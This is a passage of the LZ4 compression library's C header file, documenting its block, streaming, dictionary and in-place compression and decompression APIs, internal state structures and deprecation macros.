* compression stops *immediately*, and the function result is zero.
|
||||
* In which case, 'dst' content is undefined (invalid).
|
||||
* srcSize : max supported value is LZ4_MAX_INPUT_SIZE.
|
||||
* dstCapacity : size of buffer 'dst' (which must be already allocated)
|
||||
* @return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity)
|
||||
* or 0 if compression fails
|
||||
* Note : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer).
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity);
|
||||
|
||||
/*! LZ4_decompress_safe() :
|
||||
* @compressedSize : is the exact complete size of the compressed block.
|
||||
* @dstCapacity : is the size of destination buffer (which must be already allocated),
|
||||
* is an upper bound of decompressed size.
|
||||
* @return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
|
||||
* If destination buffer is not large enough, decoding will stop and output an error code (negative value).
|
||||
* If the source stream is detected malformed, the function will stop decoding and return a negative result.
|
||||
* Note 1 : This function is protected against malicious data packets :
|
||||
* it will never writes outside 'dst' buffer, nor read outside 'source' buffer,
|
||||
* even if the compressed block is maliciously modified to order the decoder to do these actions.
|
||||
* In such case, the decoder stops immediately, and considers the compressed block malformed.
|
||||
* Note 2 : compressedSize and dstCapacity must be provided to the function, the compressed block does not contain them.
|
||||
* The implementation is free to send / store / derive this information in whichever way is most beneficial.
|
||||
* If there is a need for a different format which bundles together both compressed data and its metadata, consider looking at lz4frame.h instead.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity);
|
||||
|
||||
|
||||
/*-************************************
|
||||
* Advanced Functions
|
||||
**************************************/
|
||||
#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */
|
||||
#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16)
|
||||
|
||||
/*! LZ4_compressBound() :
|
||||
Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible)
|
||||
This function is primarily useful for memory allocation purposes (destination buffer size).
|
||||
Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example).
|
||||
Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize)
|
||||
inputSize : max supported value is LZ4_MAX_INPUT_SIZE
|
||||
return : maximum output size in a "worst case" scenario
|
||||
or 0, if input size is incorrect (too large or negative)
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compressBound(int inputSize);
|
||||
|
||||
/*! LZ4_compress_fast() :
|
||||
Same as LZ4_compress_default(), but allows selection of "acceleration" factor.
|
||||
The larger the acceleration value, the faster the algorithm, but also the lesser the compression.
|
||||
It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed.
|
||||
An acceleration value of "1" is the same as regular LZ4_compress_default()
|
||||
Values <= 0 will be replaced by LZ4_ACCELERATION_DEFAULT (currently == 1, see lz4.c).
|
||||
Values > LZ4_ACCELERATION_MAX will be replaced by LZ4_ACCELERATION_MAX (currently == 65537, see lz4.c).
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||
|
||||
/*! LZ4_compress_fast_extState() :
|
||||
* Same as LZ4_compress_fast(), using an externally allocated memory space for its state.
|
||||
* Use LZ4_sizeofState() to know how much memory must be allocated,
|
||||
* and allocate it on 8-bytes boundaries (using `malloc()` typically).
|
||||
* Then, provide this buffer as `void* state` to compression function.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_sizeofState(void);
|
||||
LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||
|
||||
|
||||
/*! LZ4_compress_destSize() :
|
||||
* Reverse the logic : compresses as much data as possible from 'src' buffer
|
||||
* into already allocated buffer 'dst', of size >= 'targetDestSize'.
|
||||
* This function either compresses the entire 'src' content into 'dst' if it's large enough,
|
||||
* or fill 'dst' buffer completely with as much data as possible from 'src'.
|
||||
* note: acceleration parameter is fixed to "default".
|
||||
*
|
||||
* *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'.
|
||||
* New value is necessarily <= input value.
|
||||
* @return : Nb bytes written into 'dst' (necessarily <= targetDestSize)
|
||||
* or 0 if compression fails.
|
||||
*
|
||||
* Note : from v1.8.2 to v1.9.1, this function had a bug (fixed un v1.9.2+):
|
||||
* the produced compressed content could, in specific circumstances,
|
||||
* require to be decompressed into a destination buffer larger
|
||||
* by at least 1 byte than the content to decompress.
|
||||
* If an application uses `LZ4_compress_destSize()`,
|
||||
* it's highly recommended to update liblz4 to v1.9.2 or better.
|
||||
* If this can't be done or ensured,
|
||||
* the receiving decompression function should provide
|
||||
* a dstCapacity which is > decompressedSize, by at least 1 byte.
|
||||
* See https://github.com/lz4/lz4/issues/859 for details
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize);
|
||||
|
||||
/*! LZ4_decompress_safe_partial() :
|
||||
* Decompress an LZ4 compressed block, of size 'srcSize' at position 'src',
|
||||
* into destination buffer 'dst' of size 'dstCapacity'.
|
||||
* Up to 'targetOutputSize' bytes will be decoded.
|
||||
* The function stops decoding on reaching this objective.
|
||||
* This can be useful to boost performance
|
||||
* whenever only the beginning of a block is required.
|
||||
*
|
||||
* @return : the number of bytes decoded in `dst` (necessarily <= targetOutputSize)
|
||||
* If source stream is detected malformed, function returns a negative result.
|
||||
*
|
||||
* Note 1 : @return can be < targetOutputSize, if compressed block contains less data.
|
||||
*
|
||||
* Note 2 : targetOutputSize must be <= dstCapacity
|
||||
*
|
||||
* Note 3 : this function effectively stops decoding on reaching targetOutputSize,
|
||||
* so dstCapacity is kind of redundant.
|
||||
* This is because in older versions of this function,
|
||||
* decoding operation would still write complete sequences.
|
||||
* Therefore, there was no guarantee that it would stop writing at exactly targetOutputSize,
|
||||
* it could write more bytes, though only up to dstCapacity.
|
||||
* Some "margin" used to be required for this operation to work properly.
|
||||
* Thankfully, this is no longer necessary.
|
||||
* The function nonetheless keeps the same signature, in an effort to preserve API compatibility.
|
||||
*
|
||||
* Note 4 : If srcSize is the exact size of the block,
|
||||
* then targetOutputSize can be any value,
|
||||
* including larger than the block's decompressed size.
|
||||
* The function will, at most, generate block's decompressed size.
|
||||
*
|
||||
* Note 5 : If srcSize is _larger_ than block's compressed size,
|
||||
* then targetOutputSize **MUST** be <= block's decompressed size.
|
||||
* Otherwise, *silent corruption will occur*.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity);
|
||||
|
||||
|
||||
/*-*********************************************
|
||||
* Streaming Compression Functions
|
||||
***********************************************/
|
||||
typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */
|
||||
|
||||
/**
|
||||
Note about RC_INVOKED
|
||||
|
||||
- RC_INVOKED is predefined symbol of rc.exe (the resource compiler which is part of MSVC/Visual Studio).
|
||||
https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros
|
||||
|
||||
- Since rc.exe is a legacy compiler, it truncates long symbol (> 30 chars)
|
||||
and reports warning "RC4011: identifier truncated".
|
||||
|
||||
- To eliminate the warning, we surround long preprocessor symbol with
|
||||
"#if !defined(RC_INVOKED) ... #endif" block that means
|
||||
"skip this block when rc.exe is trying to read it".
|
||||
*/
|
||||
#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */
|
||||
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
|
||||
LZ4LIB_API LZ4_stream_t* LZ4_createStream(void);
|
||||
LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr);
|
||||
#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */
|
||||
#endif
|
||||
|
||||
/*! LZ4_resetStream_fast() : v1.9.0+
|
||||
* Use this to prepare an LZ4_stream_t for a new chain of dependent blocks
|
||||
* (e.g., LZ4_compress_fast_continue()).
|
||||
*
|
||||
* An LZ4_stream_t must be initialized once before usage.
|
||||
* This is automatically done when created by LZ4_createStream().
|
||||
* However, should the LZ4_stream_t be simply declared on stack (for example),
|
||||
* it's necessary to initialize it first, using LZ4_initStream().
|
||||
*
|
||||
* After init, start any new stream with LZ4_resetStream_fast().
|
||||
* A same LZ4_stream_t can be re-used multiple times consecutively
|
||||
* and compress multiple streams,
|
||||
* provided that it starts each new stream with LZ4_resetStream_fast().
|
||||
*
|
||||
* LZ4_resetStream_fast() is much faster than LZ4_initStream(),
|
||||
* but is not compatible with memory regions containing garbage data.
|
||||
*
|
||||
* Note: it's only useful to call LZ4_resetStream_fast()
|
||||
* in the context of streaming compression.
|
||||
* The *extState* functions perform their own resets.
|
||||
* Invoking LZ4_resetStream_fast() before is redundant, and even counterproductive.
|
||||
*/
|
||||
LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr);
|
||||
|
||||
/*! LZ4_loadDict() :
|
||||
* Use this function to reference a static dictionary into LZ4_stream_t.
|
||||
* The dictionary must remain available during compression.
|
||||
* LZ4_loadDict() triggers a reset, so any previous data will be forgotten.
|
||||
* The same dictionary will have to be loaded on decompression side for successful decoding.
|
||||
* Dictionary are useful for better compression of small data (KB range).
|
||||
* While LZ4 accept any input as dictionary,
|
||||
* results are generally better when using Zstandard's Dictionary Builder.
|
||||
* Loading a size of 0 is allowed, and is the same as reset.
|
||||
* @return : loaded dictionary size, in bytes (necessarily <= 64 KB)
|
||||
*/
|
||||
LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize);
|
||||
|
||||
/*! LZ4_compress_fast_continue() :
|
||||
* Compress 'src' content using data from previously compressed blocks, for better compression ratio.
|
||||
* 'dst' buffer must be already allocated.
|
||||
* If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster.
|
||||
*
|
||||
* @return : size of compressed block
|
||||
* or 0 if there is an error (typically, cannot fit into 'dst').
|
||||
*
|
||||
* Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block.
|
||||
* Each block has precise boundaries.
|
||||
* Each block must be decompressed separately, calling LZ4_decompress_*() with relevant metadata.
|
||||
* It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together.
|
||||
*
|
||||
* Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory !
|
||||
*
|
||||
* Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB.
|
||||
* Make sure that buffers are separated, by at least one byte.
|
||||
* This construction ensures that each block only depends on previous block.
|
||||
*
|
||||
* Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB.
|
||||
*
|
||||
* Note 5 : After an error, the stream status is undefined (invalid), it can only be reset or freed.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||
|
||||
/*! LZ4_saveDict() :
|
||||
* If last 64KB data cannot be guaranteed to remain available at its current memory location,
|
||||
* save it into a safer place (char* safeBuffer).
|
||||
* This is schematically equivalent to a memcpy() followed by LZ4_loadDict(),
|
||||
* but is much faster, because LZ4_saveDict() doesn't need to rebuild tables.
|
||||
* @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize);
|
||||
|
||||
|
||||
/*-**********************************************
|
||||
* Streaming Decompression Functions
|
||||
* Bufferless synchronous API
|
||||
************************************************/
|
||||
typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */
|
||||
|
||||
/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() :
|
||||
* creation / destruction of streaming decompression tracking context.
|
||||
* A tracking context can be re-used multiple times.
|
||||
*/
|
||||
#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */
|
||||
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
|
||||
LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void);
|
||||
LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream);
|
||||
#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */
|
||||
#endif
|
||||
|
||||
/*! LZ4_setStreamDecode() :
|
||||
* An LZ4_streamDecode_t context can be allocated once and re-used multiple times.
|
||||
* Use this function to start decompression of a new stream of blocks.
|
||||
* A dictionary can optionally be set. Use NULL or size 0 for a reset order.
|
||||
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
|
||||
* @return : 1 if OK, 0 if error
|
||||
*/
|
||||
LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize);
|
||||
|
||||
/*! LZ4_decoderRingBufferSize() : v1.8.2+
|
||||
* Note : in a ring buffer scenario (optional),
|
||||
* blocks are presumed decompressed next to each other
|
||||
* up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize),
|
||||
* at which stage it resumes from beginning of ring buffer.
|
||||
* When setting such a ring buffer for streaming decompression,
|
||||
* provides the minimum size of this ring buffer
|
||||
* to be compatible with any source respecting maxBlockSize condition.
|
||||
* @return : minimum ring buffer size,
|
||||
* or 0 if there is an error (invalid maxBlockSize).
|
||||
*/
|
||||
LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize);
|
||||
#define LZ4_DECODER_RING_BUFFER_SIZE(maxBlockSize) (65536 + 14 + (maxBlockSize)) /* for static allocation; maxBlockSize presumed valid */
|
||||
|
||||
/*! LZ4_decompress_safe_continue() :
|
||||
* This decoding function allows decompression of consecutive blocks in "streaming" mode.
|
||||
* The difference with the usual independent blocks is that
|
||||
* new blocks are allowed to find references into former blocks.
|
||||
* A block is an unsplittable entity, and must be presented entirely to the decompression function.
|
||||
* LZ4_decompress_safe_continue() only accepts one block at a time.
|
||||
* It's modeled after `LZ4_decompress_safe()` and behaves similarly.
|
||||
*
|
||||
* @LZ4_streamDecode : decompression state, tracking the position in memory of past data
|
||||
* @compressedSize : exact complete size of one compressed block.
|
||||
* @dstCapacity : size of destination buffer (which must be already allocated),
|
||||
* must be an upper bound of decompressed size.
|
||||
* @return : number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
|
||||
* If destination buffer is not large enough, decoding will stop and output an error code (negative value).
|
||||
* If the source stream is detected malformed, the function will stop decoding and return a negative result.
|
||||
*
|
||||
* The last 64KB of previously decoded data *must* remain available and unmodified
|
||||
* at the memory position where they were previously decoded.
|
||||
* If less than 64KB of data has been decoded, all the data must be present.
|
||||
*
|
||||
* Special : if decompression side sets a ring buffer, it must respect one of the following conditions :
|
||||
* - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize).
|
||||
* maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes.
|
||||
* In which case, encoding and decoding buffers do not need to be synchronized.
|
||||
* Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize.
|
||||
* - Synchronized mode :
|
||||
* Decompression buffer size is _exactly_ the same as compression buffer size,
|
||||
* and follows exactly same update rule (block boundaries at same positions),
|
||||
* and decoding function is provided with exact decompressed size of each block (exception for last block of the stream),
|
||||
* _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB).
|
||||
* - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes.
|
||||
* In which case, encoding and decoding buffers do not need to be synchronized,
|
||||
* and encoding ring buffer can have any size, including small ones ( < 64 KB).
|
||||
*
|
||||
* Whenever these conditions are not possible,
|
||||
* save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression,
|
||||
* then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block.
|
||||
*/
|
||||
LZ4LIB_API int
|
||||
LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode,
|
||||
const char* src, char* dst,
|
||||
int srcSize, int dstCapacity);
|
||||
|
||||
|
||||
/*! LZ4_decompress_safe_usingDict() :
|
||||
* Works the same as
|
||||
* a combination of LZ4_setStreamDecode() followed by LZ4_decompress_safe_continue()
|
||||
* However, it's stateless: it doesn't need any LZ4_streamDecode_t state.
|
||||
* Dictionary is presumed stable : it must remain accessible and unmodified during decompression.
|
||||
* Performance tip : Decompression speed can be substantially increased
|
||||
* when dst == dictStart + dictSize.
|
||||
*/
|
||||
LZ4LIB_API int
|
||||
LZ4_decompress_safe_usingDict(const char* src, char* dst,
|
||||
int srcSize, int dstCapacity,
|
||||
const char* dictStart, int dictSize);
|
||||
|
||||
/*! LZ4_decompress_safe_partial_usingDict() :
|
||||
* Behaves the same as LZ4_decompress_safe_partial()
|
||||
* with the added ability to specify a memory segment for past data.
|
||||
* Performance tip : Decompression speed can be substantially increased
|
||||
* when dst == dictStart + dictSize.
|
||||
*/
|
||||
LZ4LIB_API int
|
||||
LZ4_decompress_safe_partial_usingDict(const char* src, char* dst,
|
||||
int compressedSize,
|
||||
int targetOutputSize, int maxOutputSize,
|
||||
const char* dictStart, int dictSize);
|
||||
|
||||
#endif /* LZ4_H_2983827168210 */
|
||||
|
||||
|
||||
/*^*************************************
|
||||
* !!!!!! STATIC LINKING ONLY !!!!!!
|
||||
***************************************/
|
||||
|
||||
/*-****************************************************************************
|
||||
* Experimental section
|
||||
*
|
||||
* Symbols declared in this section must be considered unstable. Their
|
||||
* signatures or semantics may change, or they may be removed altogether in the
|
||||
* future. They are therefore only safe to depend on when the caller is
|
||||
* statically linked against the library.
|
||||
*
|
||||
* To protect against unsafe usage, not only are the declarations guarded,
|
||||
* the definitions are hidden by default
|
||||
* when building LZ4 as a shared/dynamic library.
|
||||
*
|
||||
* In order to access these declarations,
|
||||
* define LZ4_STATIC_LINKING_ONLY in your application
|
||||
* before including LZ4's headers.
|
||||
*
|
||||
* In order to make their implementations accessible dynamically, you must
|
||||
* define LZ4_PUBLISH_STATIC_FUNCTIONS when building the LZ4 library.
|
||||
******************************************************************************/
|
||||
|
||||
#ifdef LZ4_STATIC_LINKING_ONLY
|
||||
|
||||
#ifndef LZ4_STATIC_3504398509
|
||||
#define LZ4_STATIC_3504398509
|
||||
|
||||
#ifdef LZ4_PUBLISH_STATIC_FUNCTIONS
|
||||
#define LZ4LIB_STATIC_API LZ4LIB_API
|
||||
#else
|
||||
#define LZ4LIB_STATIC_API
|
||||
#endif
|
||||
|
||||
|
||||
/*! LZ4_compress_fast_extState_fastReset() :
|
||||
* A variant of LZ4_compress_fast_extState().
|
||||
*
|
||||
* Using this variant avoids an expensive initialization step.
|
||||
* It is only safe to call if the state buffer is known to be correctly initialized already
|
||||
* (see above comment on LZ4_resetStream_fast() for a definition of "correctly initialized").
|
||||
* From a high level, the difference is that
|
||||
* this function initializes the provided state with a call to something like LZ4_resetStream_fast()
|
||||
* while LZ4_compress_fast_extState() starts with a call to LZ4_resetStream().
|
||||
*/
|
||||
LZ4LIB_STATIC_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||
|
||||
/*! LZ4_attach_dictionary() :
|
||||
* This is an experimental API that allows
|
||||
* efficient use of a static dictionary many times.
|
||||
*
|
||||
* Rather than re-loading the dictionary buffer into a working context before
|
||||
* each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a
|
||||
* working LZ4_stream_t, this function introduces a no-copy setup mechanism,
|
||||
* in which the working stream references the dictionary stream in-place.
|
||||
*
|
||||
* Several assumptions are made about the state of the dictionary stream.
|
||||
* Currently, only streams which have been prepared by LZ4_loadDict() should
|
||||
* be expected to work.
|
||||
*
|
||||
* Alternatively, the provided dictionaryStream may be NULL,
|
||||
* in which case any existing dictionary stream is unset.
|
||||
*
|
||||
* If a dictionary is provided, it replaces any pre-existing stream history.
|
||||
* The dictionary contents are the only history that can be referenced and
|
||||
* logically immediately precede the data compressed in the first subsequent
|
||||
* compression call.
|
||||
*
|
||||
* The dictionary will only remain attached to the working stream through the
|
||||
* first compression call, at the end of which it is cleared. The dictionary
|
||||
* stream (and source buffer) must remain in-place / accessible / unchanged
|
||||
* through the completion of the first compression call on the stream.
|
||||
*/
|
||||
LZ4LIB_STATIC_API void
|
||||
LZ4_attach_dictionary(LZ4_stream_t* workingStream,
|
||||
const LZ4_stream_t* dictionaryStream);
|
||||
|
||||
|
||||
/*! In-place compression and decompression
|
||||
*
|
||||
* It's possible to have input and output sharing the same buffer,
|
||||
* for highly constrained memory environments.
|
||||
* In both cases, it requires input to lay at the end of the buffer,
|
||||
* and decompression to start at beginning of the buffer.
|
||||
* Buffer size must feature some margin, hence be larger than final size.
|
||||
*
|
||||
* |<------------------------buffer--------------------------------->|
|
||||
* |<-----------compressed data--------->|
|
||||
* |<-----------decompressed size------------------>|
|
||||
* |<----margin---->|
|
||||
*
|
||||
* This technique is more useful for decompression,
|
||||
* since decompressed size is typically larger,
|
||||
* and margin is short.
|
||||
*
|
||||
* In-place decompression will work inside any buffer
|
||||
* which size is >= LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize).
|
||||
* This presumes that decompressedSize > compressedSize.
|
||||
* Otherwise, it means compression actually expanded data,
|
||||
* and it would be more efficient to store such data with a flag indicating it's not compressed.
|
||||
* This can happen when data is not compressible (already compressed, or encrypted).
|
||||
*
|
||||
* For in-place compression, margin is larger, as it must be able to cope with both
|
||||
* history preservation, requiring input data to remain unmodified up to LZ4_DISTANCE_MAX,
|
||||
* and data expansion, which can happen when input is not compressible.
|
||||
* As a consequence, buffer size requirements are much higher,
|
||||
* and memory savings offered by in-place compression are more limited.
|
||||
*
|
||||
* There are ways to limit this cost for compression :
|
||||
* - Reduce history size, by modifying LZ4_DISTANCE_MAX.
|
||||
* Note that it is a compile-time constant, so all compressions will apply this limit.
|
||||
* Lower values will reduce compression ratio, except when input_size < LZ4_DISTANCE_MAX,
|
||||
* so it's a reasonable trick when inputs are known to be small.
|
||||
* - Require the compressor to deliver a "maximum compressed size".
|
||||
* This is the `dstCapacity` parameter in `LZ4_compress*()`.
|
||||
* When this size is < LZ4_COMPRESSBOUND(inputSize), then compression can fail,
|
||||
* in which case, the return code will be 0 (zero).
|
||||
* The caller must be ready for these cases to happen,
|
||||
* and typically design a backup scheme to send data uncompressed.
|
||||
* The combination of both techniques can significantly reduce
|
||||
* the amount of margin required for in-place compression.
|
||||
*
|
||||
* In-place compression can work in any buffer
|
||||
* which size is >= (maxCompressedSize)
|
||||
* with maxCompressedSize == LZ4_COMPRESSBOUND(srcSize) for guaranteed compression success.
|
||||
* LZ4_COMPRESS_INPLACE_BUFFER_SIZE() depends on both maxCompressedSize and LZ4_DISTANCE_MAX,
|
||||
* so it's possible to reduce memory requirements by playing with them.
|
||||
*/
|
||||
|
||||
#define LZ4_DECOMPRESS_INPLACE_MARGIN(compressedSize) (((compressedSize) >> 8) + 32)
|
||||
#define LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize) ((decompressedSize) + LZ4_DECOMPRESS_INPLACE_MARGIN(decompressedSize)) /**< note: presumes that compressedSize < decompressedSize. note2: margin is overestimated a bit, since it could use compressedSize instead */
|
||||
|
||||
#ifndef LZ4_DISTANCE_MAX /* history window size; can be user-defined at compile time */
|
||||
# define LZ4_DISTANCE_MAX 65535 /* set to maximum value by default */
|
||||
#endif
|
||||
|
||||
#define LZ4_COMPRESS_INPLACE_MARGIN (LZ4_DISTANCE_MAX + 32) /* LZ4_DISTANCE_MAX can be safely replaced by srcSize when it's smaller */
|
||||
#define LZ4_COMPRESS_INPLACE_BUFFER_SIZE(maxCompressedSize) ((maxCompressedSize) + LZ4_COMPRESS_INPLACE_MARGIN) /**< maxCompressedSize is generally LZ4_COMPRESSBOUND(inputSize), but can be set to any lower value, with the risk that compression can fail (return code 0(zero)) */
|
||||
|
||||
#endif /* LZ4_STATIC_3504398509 */
|
||||
#endif /* LZ4_STATIC_LINKING_ONLY */
|
||||
|
||||
|
||||
|
||||
#ifndef LZ4_H_98237428734687
|
||||
#define LZ4_H_98237428734687
|
||||
|
||||
/*-************************************************************
|
||||
* Private Definitions
|
||||
**************************************************************
|
||||
* Do not use these definitions directly.
|
||||
* They are only exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`.
|
||||
* Accessing members will expose user code to API and/or ABI break in future versions of the library.
|
||||
**************************************************************/
|
||||
#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2)
|
||||
#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE)
|
||||
#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */
|
||||
|
||||
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
|
||||
# include <stdint.h>
|
||||
typedef int8_t LZ4_i8;
|
||||
typedef uint8_t LZ4_byte;
|
||||
typedef uint16_t LZ4_u16;
|
||||
typedef uint32_t LZ4_u32;
|
||||
#else
|
||||
typedef signed char LZ4_i8;
|
||||
typedef unsigned char LZ4_byte;
|
||||
typedef unsigned short LZ4_u16;
|
||||
typedef unsigned int LZ4_u32;
|
||||
#endif
|
||||
|
||||
/*! LZ4_stream_t :
|
||||
* Never ever use below internal definitions directly !
|
||||
* These definitions are not API/ABI safe, and may change in future versions.
|
||||
* If you need static allocation, declare or allocate an LZ4_stream_t object.
|
||||
**/
|
||||
|
||||
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
|
||||
struct LZ4_stream_t_internal {
|
||||
LZ4_u32 hashTable[LZ4_HASH_SIZE_U32];
|
||||
const LZ4_byte* dictionary;
|
||||
const LZ4_stream_t_internal* dictCtx;
|
||||
LZ4_u32 currentOffset;
|
||||
LZ4_u32 tableType;
|
||||
LZ4_u32 dictSize;
|
||||
/* Implicit padding to ensure structure is aligned */
|
||||
};
|
||||
|
||||
#define LZ4_STREAM_MINSIZE ((1UL << LZ4_MEMORY_USAGE) + 32) /* static size, for inter-version compatibility */
|
||||
union LZ4_stream_u {
|
||||
char minStateSize[LZ4_STREAM_MINSIZE];
|
||||
LZ4_stream_t_internal internal_donotuse;
|
||||
}; /* previously typedef'd to LZ4_stream_t */
|
||||
|
||||
|
||||
/*! LZ4_initStream() : v1.9.0+
|
||||
* An LZ4_stream_t structure must be initialized at least once.
|
||||
* This is automatically done when invoking LZ4_createStream(),
|
||||
* but it's not when the structure is simply declared on stack (for example).
|
||||
*
|
||||
* Use LZ4_initStream() to properly initialize a newly declared LZ4_stream_t.
|
||||
* It can also initialize any arbitrary buffer of sufficient size,
|
||||
* and will @return a pointer of proper type upon initialization.
|
||||
*
|
||||
* Note : initialization fails if size and alignment conditions are not respected.
|
||||
* In which case, the function will @return NULL.
|
||||
* Note2: An LZ4_stream_t structure guarantees correct alignment and size.
|
||||
* Note3: Before v1.9.0, use LZ4_resetStream() instead
|
||||
**/
|
||||
LZ4LIB_API LZ4_stream_t* LZ4_initStream (void* buffer, size_t size);
|
||||
|
||||
|
||||
/*! LZ4_streamDecode_t :
|
||||
* Never ever use below internal definitions directly !
|
||||
* These definitions are not API/ABI safe, and may change in future versions.
|
||||
* If you need static allocation, declare or allocate an LZ4_streamDecode_t object.
|
||||
**/
|
||||
typedef struct {
|
||||
const LZ4_byte* externalDict;
|
||||
const LZ4_byte* prefixEnd;
|
||||
size_t extDictSize;
|
||||
size_t prefixSize;
|
||||
} LZ4_streamDecode_t_internal;
|
||||
|
||||
#define LZ4_STREAMDECODE_MINSIZE 32
|
||||
union LZ4_streamDecode_u {
|
||||
char minStateSize[LZ4_STREAMDECODE_MINSIZE];
|
||||
LZ4_streamDecode_t_internal internal_donotuse;
|
||||
} ; /* previously typedef'd to LZ4_streamDecode_t */
|
||||
|
||||
|
||||
|
||||
/*-************************************
|
||||
* Obsolete Functions
|
||||
**************************************/
|
||||
|
||||
/*! Deprecation warnings
|
||||
*
|
||||
* Deprecated functions make the compiler generate a warning when invoked.
|
||||
* This is meant to invite users to update their source code.
|
||||
* Should deprecation warnings be a problem, it is generally possible to disable them,
|
||||
* typically with -Wno-deprecated-declarations for gcc
|
||||
* or _CRT_SECURE_NO_WARNINGS in Visual.
|
||||
*
|
||||
* Another method is to define LZ4_DISABLE_DEPRECATE_WARNINGS
|
||||
* before including the header file.
|
||||
*/
|
||||
#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS
|
||||
# define LZ4_DEPRECATED(message) /* disable deprecation warnings */
|
||||
#else
|
||||
# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */
|
||||
# define LZ4_DEPRECATED(message) [[deprecated(message)]]
|
||||
# elif defined(_MSC_VER)
|
||||
# define LZ4_DEPRECATED(message) __declspec(deprecated(message))
|
||||
# elif defined(__clang__) || (defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 45))
|
||||
# define LZ4_DEPRECATED(message) __attribute__((deprecated(message)))
|
||||
# elif defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 31)
|
||||
# define LZ4_DEPRECATED(message) __attribute__((deprecated))
|
||||
# else
|
||||
# pragma message("WARNING: LZ4_DEPRECATED needs custom implementation for this compiler")
|
||||
# define LZ4_DEPRECATED(message) /* disabled */
|
||||
# endif
|
||||
